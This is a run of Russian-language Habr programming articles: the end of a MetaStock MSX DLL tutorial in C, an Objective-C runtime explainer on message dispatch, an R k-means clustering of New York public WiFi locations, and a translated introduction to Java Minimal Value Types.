• Массив данных **sClose** всегда содержит **максимальное** количество элементов данных. Все остальные массивы данных содержат количество элементов <= sClose.iLastValid.
• Настройки **iFirstValid** и **iLastValid** в массиве данных sClose очень важны.
Обычно количество элементов в этом массиве определяет максимальное количество элементов данных, хранящихся в других массивах цен. Это важно для определения количества допустимых элементов, содержащихся в массиве psDate. Например, если поле sClose.iFirstValid = 100 и поле sClose.iLastValid = 200, вы можете быть уверены, что массив psDate содержит действительные данные на промежутке от psDate [100] до psDate [200].
• После того, как расчет выполнится, значение iLastValid в a\_psResult -> psResultArray никогда не должно быть больше, чем значение iLastValid массива данных sClose.
• **iFirstValid** и **iLastValid** из sClose должны быть использованы для определения того, сколько значений доступно для хранения всех данных массивов. Для хранения всех массивов выделяется достаточно памяти, только до точки данных sClose.iLastValid. Данные возвращаемые в a\_psResult — > psResultArray от MSX DLL должны уложиться в эти же ограничения по хранению.
• Начало массива данных a\_psResult->psResultArray возвращаемого из MSX DLL никогда не должно быть меньше sClose.iFirstValid. Конец массива данных a\_psResult — >psResultArray никогда не должны быть больше, чем sClose.iLastValid.
### Что необходимо помнить
• Функции расчета никогда не должны изменять любые входящие аргументы, за исключением результирующей записи (a\_psResult). Входящие аргументы определяются как '**const**', где это возможно, в предоставленных шаблонах, чтобы гарантировать, что не произойдет незаконных изменений.
• Обязательно установите a\_psResult -> psResultArray -> iFirstValid и a\_psResult — > psResultArray — > iLastValid до возвращения из вашей функции.
• Если ваша функция возвращает **MSX\_ERROR**, что указывает на внутреннюю ошибку, убедитесь, что вы скопировали в расширенную строку ошибки, причину описывающую ошибку a\_psResult — >pszExtendedError.
• Никогда не устанавливайте a\_psResult — > psResultArray — > iFirstValid меньше sClose.iFirstValid.
• Никогда не устанавливайте a\_psResult — > psResultArray — > iLastValid больше sClose.iLastValid. Запись в a\_psResult — > psResultArray -> pfValue за значение sClose.iLastValid вызовет перепонение памяти в MetaStock и аварийному завершению работы программы.
• Обязательно проверьте iFirstValid и iLastValid любых аргументов MSXDataInfoRec или a\_psBasic, которые вы собираетесь использовать. Никогда не думайте, что данные будут доступны в любом массиве данных. Если данные не доступны для вашей функции для обработки, установите
**a\_psResult — > psResultArray — > iFirstValid = 0** и
**a\_psResult — >psResultArray — > iLastValid = -1**,
чтобы указать, что нет достоверных данных для возвращения массива. Этот метод позволяет избежать аварийного завершения работы программы Metastock.
### Изменяем код
В соответствии с вышеизложенным материалом немного изменим код нашей функции. Добавим Fvi и Lvi, а также исключение в случае получения поврежденного массива на выходе нашей функции.
```
DLL_EXPORT BOOL __stdcall Price(const MSXDataRec *a_psBasic,
const MSXDataInfoRecArgsArray *a_psArrayArgs,
const MSXNumericArgsArray *a_psNumericArgs,
const MSXStringArgsArray *a_psStringArgs,
const MSXCustomArgsArray *a_psCustomArgs,
MSXResultRec *a_psResult)
{
BOOL l_bRtrn = MSX_SUCCESS;
for (int i= a_psBasic ->sClose.iFirstValid; i<= a_psBasic ->sClose.iLastValid; i++)
a_psResult->psResultArray->pfValue[ i ] = a_psBasic ->sClose.pfValue[ i ];
// Задаем начало и конец массива.
a_psResult->psResultArray->iFirstValid = a_psBasic->sClose.iFirstValid;
a_psResult->psResultArray->iLastValid = a_psBasic->sClose.iLastValid;
// проверяем выходной массив
if (a_psResult->psResultArray->iFirstValid < 0 || a_psResult->psResultArray->iLastValid < 0
|| a_psResult->psResultArray->iLastValid < a_psResult->psResultArray->iFirstValid ||
a_psResult->psResultArray->iFirstValid < a_psBasic->sClose.iFirstValid ||
a_psResult->psResultArray->iLastValid > a_psBasic->sClose.iLastValid)
l_bRtrn = MSX_ERROR;
// Если данные не доступны, возвращаем пустой массив.
if (l_bRtrn != MSX_SUCCESS)
{
strncpy (a_psResult->szExtendedError, "Error: Corrupted Result Array.",
sizeof(a_psResult->szExtendedError)-1);
a_psResult->psResultArray->iFirstValid = 0;
a_psResult->psResultArray->iLastValid = -1;
}
return l_bRtrn;
}
```
### Вывод в файл
Для вывода наших данных обязательно подключите заголовочный файл stdio.h, в котором объявлен специальный тип данных – структура FILE.
• **#include**
**Комментарии**Для организации работы с файлами, программе надо использовать указатели на файлы. Для создания файловой переменной-указателя используется оператор типа: FILE \*file (объявление потока). Чтобы можно было обращаться к файлу его необходимо открыть. Функция fopen() открывает для использования поток, связывает файл с данным потоком, возвращает указатель FILE на данный поток и имеет следующий вид:
• file = fopen(«путь к файлу»,«режим работы файла»).
Режим "**w**" используется для записи в файл. Запись в файл осуществляет функция fprintf():
• fprintf(file,[строка формата], [список переменных, констант]).
Функция fclose() используется для закрытия потока, ранее открытого с помощью fopen().
• fclose(file)
Вызов fclose() освобождает блок управления файлом, связанный с потоком, и делает его доступным для повторного использования.
Давайте выведем следующие данные: имя ЦБ, период ('D'aily, 'W'eekly, 'M'onthly, 'Q'uarterly, 'I'ntraday), индекс, наш индикатор, время и дату в файл.
```
DLL_EXPORT BOOL __stdcall Price(const MSXDataRec *a_psBasic,
const MSXDataInfoRecArgsArray *a_psArrayArgs,
const MSXNumericArgsArray *a_psNumericArgs,
const MSXStringArgsArray *a_psStringArgs,
const MSXCustomArgsArray *a_psCustomArgs,
MSXResultRec *a_psResult)
{
BOOL l_bRtrn = MSX_SUCCESS;
FILE *file;
file = fopen("D:\\example.txt", "w");
for (int i= a_psBasic ->sClose.iFirstValid; i<= a_psBasic ->sClose.iLastValid; i++)
{
a_psResult->psResultArray->pfValue[ i ] = a_psBasic ->sClose.pfValue[ i ];
if (file)
fprintf(file, "%-10s %2c %5u %12.4f %5u %10u\n", a_psBasic ->pszSecurityName,
a_psBasic ->iPeriod, i, double (a_psResult->psResultArray->pfValue[i]),
a_psBasic ->psDate[i].lTime/1000, a_psBasic ->psDate[i].lDate);
}
fclose(file);
// Задаем начало и конец массива.
a_psResult->psResultArray->iFirstValid = a_psBasic->sClose.iFirstValid;
a_psResult->psResultArray->iLastValid = a_psBasic->sClose.iLastValid;
// проверяем выходной массив
if (a_psResult->psResultArray->iFirstValid < 0 || a_psResult->psResultArray->iLastValid < 0
|| a_psResult->psResultArray->iLastValid < a_psResult->psResultArray->iFirstValid ||
a_psResult->psResultArray->iFirstValid < a_psBasic->sClose.iFirstValid ||
a_psResult->psResultArray->iLastValid > a_psBasic->sClose.iLastValid)
l_bRtrn = MSX_ERROR;
// Если данные не доступны, возвращаем пустой массив.
if (l_bRtrn != MSX_SUCCESS)
{
strncpy (a_psResult->szExtendedError, "Error: Corrupted Result Array.",
sizeof(a_psResult->szExtendedError)-1);
a_psResult->psResultArray->iFirstValid = 0;
a_psResult->psResultArray->iLastValid = -1;
}
return l_bRtrn;
}
```
В результате у меня на одноминутном графике фьючерса на индекс РТС получилось следующее:
**example.txt**
```
SP_RTS_1m I 1 112310.0000 1725 20140417
SP_RTS_1m I 2 112320.0000 1726 20140417
SP_RTS_1m I 3 112130.0000 1727 20140417
...
SP_RTS_1m I 497 117150.0000 1336 20140418
SP_RTS_1m I 498 117170.0000 1337 20140418
SP_RTS_1m I 499 117200.0000 1338 20140418
SP_RTS_1m I 500 117190.0000 1339 20140418
```
С функциями без аргументов, надеюсь, мы разобрались. В следующей статье мы рассмотрим создание функций с различными аргументами. | https://habr.com/ru/post/219953/ | null | ru | null |
# Objective-C Runtime для Си-шников. Часть 2
Снова здравствуйте. Мой цикл статей посвящён тем программистам, которые перешли с языка C на Objective-C, и хотели бы ответить для себя на вопросы «каким именно образом Objective-C основывается на языке C?» и «как это все происходит изнутри?».
Большое спасибо всем за обратную связь, именно проявленный вами интерес служит для меня стимулом продолжать свои статьи по доскональному изучению Objective-C Runtime. Я начал эту часть именно с тематики своих статей, потому что хочу сделать пару уточнений:
1. Мои статьи — не руководство по Objective C. Мы изучаем именно Objective-C Runtime настолько низкоуровнево, чтобы понимать его на уровне языка C.
2. Мои статьи — не руководство по языку C и дебаггерам. Мы опускаемся до уровня языка C, но не ниже. Поэтому такие вопросы, как представление данных в памяти, я не затрагиваю. Предполагается, что вы знаете все это и без меня.
Конечно, статьи будут интересны так же и другим категориям программистов. Но имейте ввиду эти два пункта.
Если вы еще не читали первую статью, то настоятельно рекомендую прочитать сначала её: <http://habrahabr.ru/post/250955/>. А если уже читали, то добро пожаловать под кат.
Мы «вызываем методы», а педанты «посылают сообщения»
====================================================
В предыдущей статье мы с вами разбирались с «вызовом методов» или, как его еще называют, «посылкой сообщений»:
```
[myObj someMethod];
```
Мы пришли к выводу, что во время выполнения такая конструкция в итоге сводится к вызову функции objc\_msgSend() и хорошенько разобрались с селекторами.
Теперь давайте так же подробно разберемся с функцией objc\_msgSend(), чтобы понять принципы этой пресловутой посылки сообщений объекту.
Эта функция вызывается каждый раз, когда вы вызываете метод какого-либо объекта. Логично предположить, что скорость её работы очень сильно влияет на скорость работы всего приложения. Поэтому если вы посмотрите на [исходный код](http://www.opensource.apple.com/source/objc4/objc4-437/runtime/Messengers.subproj/) этой функции, то обнаружите, что реализована она на ассемблере для каждой из платформ.
Прежде чем разбираться с исходным кодом, я предлагаю ознакомиться с [документацией](https://developer.apple.com/library/ios/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtHowMessagingWorks.html#//apple_ref/doc/uid/TP40008048-CH104-SW1):
> …
>
>
>
> Функция посылки сообщения делает всё, что нужно для динамического связывания:
>
>
>
> * В первую очередь она находит процедуру (реализацию метода), на которую ссылается селектор. Так как один и тот же метод может быть реализован абсолютно разными классами, та самая процедура, которую она (*функция objc\_msgSend, прим. автора*) ищет, зависит от класса получателя (*которому мы посылаем сообщение, прим. автора*).
> * Затем она вызывает эту процедуру, передавая ей объект получателя (указатель на него) и все аргументы, которые были переданы в вызове метода.
> * И, наконец, она возвращает результат работы процедуры как свой собственный результат.
>
>
>
> ...
**Лирическое отступление**Уже на основе одной только документации мы понимаем, что словосочетание «вызвать метод» абсолютно корректно в применении к языку Objective C. Поэтому, если какой-то умник поправляет вас, мол корректно говорить «послать сообщение» а не «вызвать метод», то можете смело отправить его на два известных слова — чтение документации.
Что же, со вторым и третьим пунктом все итак понятно. А вот с первым нужно разобраться чуть подробнее: каким именно образом вполне абстрактный селектор преобразовывается во вполне конкретную функцию.
Общаемся с методами классов на языке C
======================================
Раз знакомая нам функция objc\_msgSend() в первую очередь ищет функцию, которая реализует вызываемый метод, значит мы можем найти эту функцию и вызвать её самостоятельно.
Давайте напишем небольшую тестовую программу, которая позволит нам познакомиться с вызовом методов чуточку ближе:
```
#import
#import
@interface TestClass : NSObject
- (void)someMethod;
- (void)callSomeMethod;
- (void)methodWithParam:(const char \*)param;
@end
@implementation TestClass
- (void)someMethod {
NSLog(@"Hello from %p.%s!", self, \_cmd);
}
- (void)callSomeMethod {
NSLog(@"Hello from %p.%s!", self, \_cmd);
[self someMethod];
}
- (void)methodWithParam:(const char \*)param {
NSLog(@"Hello from %p.%s! My parameter is: <%s>", self, \_cmd, param);
}
@end
int main(int argc, const char \* argv[]) {
TestClass \* myObj = [[TestClass alloc] init];
[myObj someMethod];
[myObj callSomeMethod];
[myObj methodWithParam:"I'm a parameter"];
return 0;
}
```
Из [документации](https://developer.apple.com/library/ios/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtHowMessagingWorks.html#//apple_ref/doc/uid/TP40008048-CH104-TPXREF134) нам становится известно, что при вызове нужной функции, objc\_msgSend() передает в нее параметры в следующем порядке:
1. Указатель на объект, метод которого мы вызвали
2. Селектор, по которому мы вызвали метод
3. Остальные аргументы, которые мы передали методу
Именно потому наша тестовая программа выглядит так: в каждом из методов мы выводим в лог self и \_cmd, в которых находятся указатель «на себя» и селектор соответственно.
Если вы запустите эту программу, то вывод будет примерно следующим:
> 2015-02-21 12:43:18.817 ObjCRuntimeTest[7092:2454834] Hello from 0x1002061f0.someMethod!
>
> 2015-02-21 12:43:18.818 ObjCRuntimeTest[7092:2454834] Hello from 0x1002061f0.callSomeMethod!
>
> 2015-02-21 12:43:18.819 ObjCRuntimeTest[7092:2454834] Hello from 0x1002061f0.someMethod!
>
> 2015-02-21 12:43:18.819 ObjCRuntimeTest[7092:2454834] Hello from 0x1002061f0.methodWithParam:! My parameter is:
Теперь попробуем вызвать эти методы средствами языка C. Для этого мы возьмем из объекта указатель на функцию, реализующую метод нашего класса. Учитывая то, что работаем мы на уровне языка C, нам следуем определить типы, которые позволят нам работать с указателями на наши функции. Учитывая все это, имеем следующий код в функции main():
```
int main(int argc, const char * argv[]) {
typedef void (*MethodWithoutParams)(id, SEL);
typedef void (*MethodWithParam)(id, SEL, const char *);
TestClass * myObj = [[TestClass alloc] init];
MethodWithoutParams someMethodImplementation = [myObj methodForSelector:@selector(someMethod)];
MethodWithoutParams callSomeMethodImplementation = [myObj methodForSelector:@selector(callSomeMethod)];
MethodWithParam methodWithParamImplementation = [myObj methodForSelector:@selector(methodWithParam:)];
someMethodImplementation(myObj, @selector(someMethod));
callSomeMethodImplementation(myObj, @selector(callSomeMethod));
methodWithParamImplementation(myObj, @selector(methodWithParam:), "I'm a parameter");
return 0;
}
```
Что же, мы уже вызвали методы исключительно средствами языка C. Исключение в данном случае составили только селекторы, с которыми мы уже достаточно разобрались в предыдущей статье. А чёрным ящиком для нас остался лишь метод methodForSelector:.
Механизм сообщений в Objective C Runtime
========================================
Ключевой момент в реализации механизма сообщений в Objective C Runtime заключается в том, каким образом компилятор представляет ваши классы и объекты.
Если выражаться в терминах языка C++, то объекты в оперативной памяти создаются не только для каждого из экземпляров ваших классов, но и для каждого класса. То есть, описав класс, который наследует базовый класс NSObject, и создав два экземпляра этого класса, во время исполнения вы получите два созданных вами объекта и один объект вашего класса.
Этот самый объект класса содержит в себе указатель на объект родительского класса и таблицу соответствия селекторов и адресов функций, называемую dispatch table. Именно с помощью этой таблицы функция objc\_msgSend() и ищет нужную функцию, которую нужно вызвать для переданного ей селектора.
Каждый класс, который наследуется от NSObject или NSProxy, имеет поле isa, которое как раз таки и является указателем на объект класса. Когда вы вызываете метод у какого либо объекта, функция objc\_msgSend() переходит по указателю isa на объект класса, и ищет в нем адрес функции, реализующей этот метод. Если он не находит такой функции, то он переходит на объект класса родительского объекта и ищет эту функцию там. Так происходит до тех пор, пока нужная функция не будет найдена. Если функция не была найдена нигде, в том числе и в объекте класса NSObject, то выдается всем нам известное исключение:
> unrecognized selector sent to instance ...
**А на самом деле...**В настоящее время достаточно медленный процесс поиска функций немного улучшен. Если вы вызываете метод какого-либо объекта, то он, будучи найденным однажды, будет помещен в некую кеш-таблицу. Таким образом, если вы вызовете метод methodForSelector: у какого-либо объекта, то в первый раз будет произведён поиск нужной функции, и когда функция будет найдена в объекте класса NSObject, она будет закеширована в таблице вашего класса, и в следующий раз поиск этой функции уже не займёт много времени.
Кроме того, исключение произойдет не сразу, если реализация метода не будет найдена. Существует так же и такой механизм, как [Message Forwarding](https://developer.apple.com/library/ios/documentation/Cocoa/Conceptual/ObjCRuntimeGuide/Articles/ocrtForwarding.html).
Давайте подтвердим это реальными исследованиями на основе исходного кода Objective-C Runtime и класса NSObject.
Как мы уже поняли, у NSObject есть метод methodForSelector:, исходный код которого выглядит так:
```
+ (IMP)methodForSelector:(SEL)sel {
if (!sel) [self doesNotRecognizeSelector:sel];
return object_getMethodImplementation((id)self, sel); // self - указатель на объект класса
}
- (IMP)methodForSelector:(SEL)sel {
if (!sel) [self doesNotRecognizeSelector:sel];
return object_getMethodImplementation(self, sel); // self - указатель на наш объект
}
```
Как мы видим, этот метод реализован и для самого класса, и для объектов класса. В обоих случаях используется одна и та же функция object\_getMethodImplementation():
```
IMP object_getMethodImplementation(id obj, SEL name)
{
Class cls = (obj ? obj->getIsa() : nil);
return class_getMethodImplementation(cls, name);
}
```
Стоп! Что это за конструкция "(obj? obj->getIsa(): nil)" !? Ведь во всех статьях нам говорят…
А все дело начинается с [build settings](http://www.opensource.apple.com/source/objc4/objc4-646/objc.xcodeproj/project.pbxproj) файла проекта Objective C Runtime:
> CLANG\_CXX\_LANGUAGE\_STANDARD = «gnu++0x»;
>
> CLANG\_CXX\_LIBRARY = «libc++»;
И вот вам [реализация](http://www.opensource.apple.com/source/objc4/objc4-646/runtime/objc-object.h) вполне себе си-плю-плюшного метода getIsa():
```
inline Class
objc_object::getIsa()
{
if (isTaggedPointer()) {
uintptr_t slot = ((uintptr_t)this >> TAG_SLOT_SHIFT) & TAG_SLOT_MASK;
return objc_tag_classes[slot];
}
return ISA();
}
```
В общем, так уж получилось, что любой объект в Objective C должен содержать в себе поле isa. И объект класса — не исключение.
Вся эта порнография довольно запутанна. Метод methodForSelector: имеет абсолютно идентичную реализацию как в качестве метода объекта, так и для метода класса. Отличие заключается лишь в том, что в первом случае self указывает на наш объект, а во втором — на объект класса.
Чёрт возьми, какого хрена!? Каким образом мы можем вызвать obj->getIsa() у объекта класса? Что там вообще происходит?
А дело в том, что у объекта класса действительно есть такое же поле, которое указывает на «объект класса для этого класса». Если выражать правильно, то оно указывает на *метакласс*. Если вы вызываете метод объекта (тот метод, который начинается со знака "-"), то его реализация ищется в его классе. Если же вы вызываете метод класса (начинается со знака "+"), то его реализация ищется в его метаклассе.
Я немного наврал вам в начале статьи, сказав что во время исполнения при создании двух объектов своего класса вы получаете три объекта: два экземпляра вашего класса и объект класса. На самом деле объект класса всегда создается в паре с объектом метакласса. То есть, в конечном итоге вы получите 4 объекта.
Чтобы визуально представить себе всю суть этого беспредела, я вставлю тут картинку из [этой](http://habrahabr.ru/post/207786/) статьи:
Вернемся к нашему случаю, где через self в конце концов вызывается функция class\_getMethodImplementation():
```
IMP class_getMethodImplementation(Class cls, SEL sel)
{
IMP imp;
if (!cls || !sel) return nil;
imp = lookUpImpOrNil(cls, sel, nil,
YES/*initialize*/, YES/*cache*/, YES/*resolver*/);
// Translate forwarding function to C-callable external version
if (!imp) {
return _objc_msgForward;
}
return imp;
}
```
Любознательные могут проследить, что функция lookUpImpOrNil() использует функцию lookUpImpOrForward(), реализация которой лежит опять таки на [сайте Apple](http://www.opensource.apple.com/source/objc4/objc4-646/runtime/objc-runtime-new.mm). Функция написана на C, что позволит убедиться в том, что все работает именно так, как и написано в документации.
Подведение итогов
=================
Ну и напоследок, как в прошлый раз давайте вызовем метод исключительно средствами языка C:
```
#import
#import
@interface TestClass : NSObject
@end
@implementation TestClass
+ (void)someClassMethod {
NSLog(@"Hello from some class method!");
}
- (void)someInstanceMethod {
NSLog(@"Hello from some instance method!");
}
@end
int main(int argc, const char \* argv[]) {
typedef void (\*MyMethodType)(id, SEL);
TestClass \* myObj = [[TestClass alloc] init];
Class myObjClassObject = object\_getClass(myObj);
Class myObjMetaclassObject = object\_getClass(myObjClassObject);
MyMethodType instanceMethod = class\_getMethodImplementation(myObjClassObject, @selector(someInstanceMethod));
MyMethodType classMethod = class\_getMethodImplementation(myObjMetaclassObject, @selector(someClassMethod));
instanceMethod(myObj, @selector(someInstanceMethod));
classMethod(myObjClassObject, @selector(someClassMethod));
return 0;
}
```
На самом деле, мы все еще далеки от понимания механизма сообщений в Objective C. Например, мы не разобрались с возвратом результата из вызываемых методов. Но об этом читайте в следующих частях :). | https://habr.com/ru/post/250977/ | null | ru | null |
# Кластеризация беспроводных точек доступа с использованием метода k-средних
Визуализация и анализ данных в настоящее время широко применяется в телекоммуникационной отрасли. В частности, анализ в значительной степени зависит от использования геопространственных данных. Возможно, это связано с тем, что телекоммуникационные сети сами по себе географически разбросаны. Соответственно, анализ таких дисперсий может дать огромную ценность.
Данные
------
Чтобы проиллюстрировать алгоритм кластеризации k-средних мы воспользуемся базой географических данных для бесплатного общественного WiFi в Нью-Йорке. Набор данных доступен в NYC Open Data. В частности, алгоритм кластеризации k-средних используется для формирования кластеров использования WiFi на основе данных широты и долготы.
Из самого набора данных данные о широте и долготе извлекаются с использованием языка программирования R:
```
#1. Prepare data
newyork<-read.csv("NYC_Free_Public_WiFi_03292017.csv")
attach(newyork)
newyorkdf<-data.frame(newyork$LAT,newyork$LON)
```
Вот фрагмент данных:
Определяем количество кластеров
-------------------------------
Далее определяем количество кластеров с помощью ниже приложенного кода, который показывает результат в виде графика.
```
#2. Determine number of clusters
wss <- (nrow(newyorkdf)-1)*sum(apply(newyorkdf,2,var))
for (i in 2:20) wss[i] <- sum(kmeans(newyorkdf,
centers=i)$withinss)
plot(1:20, wss, type="b", xlab="Number of Clusters",
ylab="Within groups sum of squares")
```
На графике видно, как кривая выравнивается примерно на отметке 11. Следовательно, это количество кластеров, которые будут использоваться в модели k-средних.
Анализ K-средних
----------------
Сам анализ K-средних проводится:
```
#3. K-Means Cluster Analysis
set.seed(20)
fit <- kmeans(newyorkdf, 11) # 11 cluster solution
# get cluster means
aggregate(newyorkdf,by=list(fit$cluster),FUN=mean)
# append cluster assignment
newyorkdf <- data.frame(newyorkdf, fit$cluster)
newyorkdf
newyorkdf$fit.cluster <- as.factor(newyorkdf$fit.cluster)
library(ggplot2)
ggplot(newyorkdf, aes(x=newyork.LON, y=newyork.LAT, color = newyorkdf$fit.cluster)) + geom_point()
```
Во наборе данных newyorkdf имеется информация о широте, долготе и метка кластера:
> newyorkdf
newyork.LAT newyork.LON fit.cluster
1 40.75573 -73.94458 1
2 40.75533 -73.94413 1
3 40.75575 -73.94517 1
4 40.75575 -73.94517 1
5 40.75575 -73.94517 1
6 40.75575 -73.94517 1
…
80 40.84832 -73.82075 11
Вот наглядная иллюстрация:
Эта иллюстрация полезна, но визуализация будет еще ценнее если наложить ее на карту самого Нью-Йорка.
```
# devtools::install_github("zachcp/nycmaps")
library(nycmaps)
map(database="nyc")
#this should also work with ggplot and ggalt
nyc <- map_data("nyc")
gg <- ggplot()
gg <- gg +
geom_map(
data=nyc,
map=nyc,
aes(x=long, y=lat, map_id=region))
gg +
geom_point(data = newyorkdf, aes(x = newyork.LON, y = newyork.LAT),
colour = newyorkdf$fit.cluster, alpha = .5) + ggtitle("New York Public WiFi")
```
Этот тип кластеризации дает отличное представление о структуре сети WiFi в городе. Это указывает на то, что географический регион, отмеченный кластером 1, показывает большой трафик WiFi. С другой стороны, меньшее количество соединений в кластере 6 может указывать на низкий трафик WiFi.
Кластеризация K-Means сама по себе не говорит нам, почему трафик для конкретного кластера высок или низок. Например, когда кластер 6 имеет высокую плотность населения, но низкая скорость интернета приводит к меньшему количеству соединений.
Однако этот алгоритм кластеризации обеспечивает отличную отправную точку для дальнейшего анализа и облегчает сбор дополнительной информации. Например, на примере данной карты можно строить гипотезы касательно отдельных географических кластеров. Оригинал статьи находится [тут](https://towardsdatascience.com/visualizing-new-york-city-wifi-access-with-k-means-clustering-7aeb0a6fb623). | https://habr.com/ru/post/442094/ | null | ru | null |
# Minimal Value Types
Эта статья — перевод [спецификации](http://cr.openjdk.java.net/~jrose/values/shady-values.html), посвященной описанию минимальной реализации типов-значений в Java, которую с нетерпением ждут уже несколько лет. Добро пожаловать в MVT!
Замечания к переводу
====================
Этот текст предназначен, в первую очередь, для разработчиков платформы Java. Мы даже немного поспорили с разработчиками: насколько может быть интересен такой текст широкой общественности? В нем слишком много посторонних, очень точных деталей про внутреннюю магию.
Чтобы было понятнее, речь пойдет в том числе о [формате классфайла](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-4.html) и [наборе инструкций JVM](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-6.html), и эти веб-странички, вполне возможно, придется держать перед глазами, чтобы не потеряться в тексте. Лично мне помогал разбираться с этим Владимир Иванов и его доклады (именно для таких случаев и существуют дискуссионные зоны на [конференции Joker](https://jokerconf.com/)).
Но давайте взглянем на это с другой стороны. В русскоязычном сообществе складывается тенденция рассматривать Java как некий идеал кровавого ынтерпрайза, неизменный, нерушимый, и находящийся в нерушим застое чуть ли не с самого своего появления. Легенда гласит, что все самое веселое происходит в JavaScript и около того, а на долю джавы приходится скучное ковыряние легаси. Настоящему хакеру совершенно не найти в этом ничего достойного приложения своих экстраординарных способностей.
Существует сообщество, некая общая культура, состоящая из опытных программистов и сетевых чародеев, история которой прослеживается вплоть до первых миникомпьютеров с разделением времени и самых ранних экспериментов с сетью ARPAnet. Члены этой культуры и дали рождение термину «хакер». Хакеры создали Интернет. Хакеры сделали операционную систему Unix тем, чем она является сегодня. Хакеры создали Java и JVM.
Надо четко понимать, что современный хакерский мир не ограничивается лишь маргинальными задачами на (еще/уже) неизвестных языках, и взломов сайта ФБР как в фильме Swordfish. Иногда изящные задачи, требующие много сил и таланта, появляются и в таких известных вещах как платформа Java — в вещах, о которых сегодня пишут заметки на Хабре, а завтра ими будет пользоваться половина мира. Иногда ты смотришь на кусок кода Java и поражаешься — какая неведомая логика привела к такому изощренному техническому решению. *Ну вот она, эта логика*, описана в нижеследующем тексте.
Это — статья для разработчиков Java. Но её можно и нужно читать сегодня, чтобы успеть ухватить момент. **Потому что завтра всё изменится**.
***Заметка***: оно уже обновляется, прямо сейчас! *Горшочек, не вари!* Обновления с учетом данных с JVM Language Summit и самых свежих наработок будут представлены в следующих статьях. Скорей всего, там же мы напишем некую обзорную статью, дающую верхнеуровневое, более практическое, понимание MVT. Если вам нужна такая статья, просьба написать об этом в комментариях.
Введение
========
Три года назад мы опубликовали в открытом доступе [первый вариант этого документа](http://cr.openjdk.java.net/~jrose/values/values.html). Три года [жарких дискуссий](http://mail.openjdk.java.net/pipermail/valhalla-dev/) и яростного прототипирования Java-компилятора, формата класс-файлов и виртуальной машины. Цель заключалась в объединении примитивов, ссылок и значений в некую общую платформу, которая будет поддерживать эффективное обобщенное объектно-ориентированное программирование.
Большая часть дискуссий концентрировалась на [специализации дженериков](http://www.oracle.com/technetwork/java/jvmls2015-goetz-2637900.pdf) как способа реализации полного параметрического полиморфизма в Java и JVM. Мы концентрировались на этом специально, и это принесло свои плоды: помогло найти такие ситуации, когда примитивы не сочетаются со ссылками, что, в свою очередь, заставило нас расширить модель байткода. Разобравшись с `List`, перейти к `List>` было уже куда проще.
Остальные обсуждения были нацелены на [разработку семантики](http://mail.openjdk.java.net/pipermail/valhalla-spec-experts/2016-April/000118.html) и на конкретных тактиках [реализации](http://mail.openjdk.java.net/pipermail/valhalla-dev/2016-June/001981.html) новых байткодов, которые смогут работать со значениями. В нескольких экспериментах были реализованы API, похожие на то, что нужно, и которые делали полезные вещи типа [векторизации циклов](http://youtu.be/Z2XgO1H6xPM?list=PLX8CzqL3ArzUY6rQAQTwI_jKvqJxrRrP_).
Возвращаясь из прошлого в настоящее, на JVM Language Summit (2016), и на встрече Valhalla EG, нас много раз просили предоставить сборку с «ранним доступом», на которой можно было бы поиграть с векторизацией, GPU и Panama. Этот документ схематично показывает, какое подмножество экспериментальных возможностей JVM (и в меньшей степени — языка и библиотек) пригодно для первых экспериментов типами-значениями.
Оглядываясь назад, имеет смысл оценить масштаб задачи: тысячи инженеро-часов, посвященных проработке того светлого будущего, в котором мы живем сейчас. Сейчас — самое лучшее время чтобы использовать это в*и*дение и, наконец, выбрать первый вариант, что-то типа «hello world» для системы типов-значений.
Этот документ предлагает минимальное, но все еще достаточно рабочее подмножество функциональности типов-значений для достижения следующих целей:
* Должно просто реализоваться в HotSpot JVM (в референсной реализации)
* Не следует вносить существенных ограничений на последующую разработку языка Java или виртуальной машины
* Продвинутые пользователи должны справиться с использованием в целях экспериментов и прототипирования
* Формат класс-файлов должен как можно меньше меняться
* Использование таких изменений должно быть жестко ограничено только экспериментальными зонами
* Пользователи должны иметь возможность вести разработку с помощью стандартных тулчейнов
В дополнение к целям, мы точно не будем:
* Реализовывать совершенно все хорошо подходящие для типов-значений конструкции языка
* Модифицировать синтаксис языка Java и общий дизайн байткода
* Добавлять возможность использования типов-значений в Java-коде
* Утверждать окончательный формат байткода
* Выкладывать всё это для общего пользования (ни на старте, ни вообще, скорей всего)
* Требовать от разработчиков, участвующих в эксперименте, вертикального обновления тулчейна
Другими словами, до того, как извлекать наши типы-значения на свет божий, мы должны создать их прототип в некой серой зоне, на границе между повседневными обсуждениями и выпуском публичной спецификации. Такой прототип, даже будучи весьма ограниченным, будет весьма полезен. Он позволит экспериментировать с различными подходами к дизайну и реализации типов-значений. Подходы, которые не доказали свою состоятельность, всегда можно выбросить — это же всего лишь опытный образец! Еще, как только продвинутые пользователи приступят к экспериментам, мы сможем делать более точные оценки производительности и удобства использования.
Функциональность
================
Конкретную функциональность для нашей минимальной (но все еще рабочей) поддержки типов-значений, можно сформулировать следующим образом:
* Несколько специальных value-capable classes (сокращенно, VCC. `Int128`, и т.п.), каждый из которых виртуальная машина сможет связать с производным типом-значением
* Синтаксис дескрипторов («Q-types») для описания новых типов-значений в класс-файлах
* Обновление константного пула — возможность взаимодействовия с этими дескрипторами.
* Небольшой набор инструкций байткода (`vload`, и т.п.) для перемещения между локальными переменными JVM и стеком
* Ограниченная рефлексия для типов-значений (похожая на `int.class`)
* Боксинг и анбоксинг, позволяющий выразить значения (как примитивы) в терминах джавовского универсального типа Object
* Фабрики ссылок на методы, предоставляющие доступ к операциям над значением (доступ к членам, и т.п.)
Специальные value-capable классы, поддерживающие типы-значения, можно разрабатывать в современных тулчейнах как *стандартные POJO*. Тогда, обычный исходный код на Java, включая дженерик классы и методы, сможет обращаться к значениям только в их боксовой форме. Вместе с этим, ссылки на методы и специально сгенерированный байт код смогут работать со значениями в их изначальной, небоксовой форме.
Эта работа относится к JVM, а не языку. Поэтому мы **не** собираемся делать следующее:
* Синтаксис для определения или использования типов-значений напрямую из Java кода
* Специализированные дженерики в Java коде, которые смогут хранить небоксовые значения (или примитивы)
* Библиотечные типы-значения или эволюционировавшие классы-значения типа `java.util.Optional`
* Доступ до значений из произвольных модулей. (В нормальной ситуации, специальные value-capable классы не должны экспортироваться).
